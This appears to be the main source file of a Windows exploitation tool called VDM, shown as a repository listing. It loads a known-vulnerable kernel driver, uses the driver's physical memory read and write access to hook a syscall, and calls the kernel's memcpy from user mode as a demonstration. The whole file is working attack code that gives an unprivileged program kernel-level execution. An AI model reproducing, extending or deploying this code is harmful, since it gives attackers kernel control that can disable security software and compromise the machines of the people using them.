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VDM/VDM/main.cpp

59 lines
1.8 KiB

#include "vdm_ctx/vdm_ctx.hpp"
int __cdecl main(int argc, char** argv)
{
const auto [drv_handle, drv_key, load_status] = vdm::load_drv();
if (drv_handle == INVALID_HANDLE_VALUE || load_status != STATUS_SUCCESS)
{
std::printf("[!] unable to load vulnerable driver... reason -> 0x%x\n", load_status);
return -1;
}
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
const auto ntoskrnl_base =
reinterpret_cast<void*>(
util::get_kmodule_base("ntoskrnl.exe"));
const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
std::printf("[+] %s page offset -> 0x%x\n", vdm::syscall_hook.first, vdm::nt_page_offset);
std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);
short mz_bytes = 0;
vdm.syscall<decltype(&memcpy)>(
ntoskrnl_memcpy,
&mz_bytes,
ntoskrnl_base,
sizeof mz_bytes
);
std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);
auto unload_result = vdm::unload_drv(drv_handle, drv_key);
if (unload_result != STATUS_SUCCESS)
{
std::printf("[!] unable to unload vulnerable driver... reason -> 0x%x\n", unload_result);
return -1;
}
std::printf("[+] press any key to close...\n");
std::getchar();
}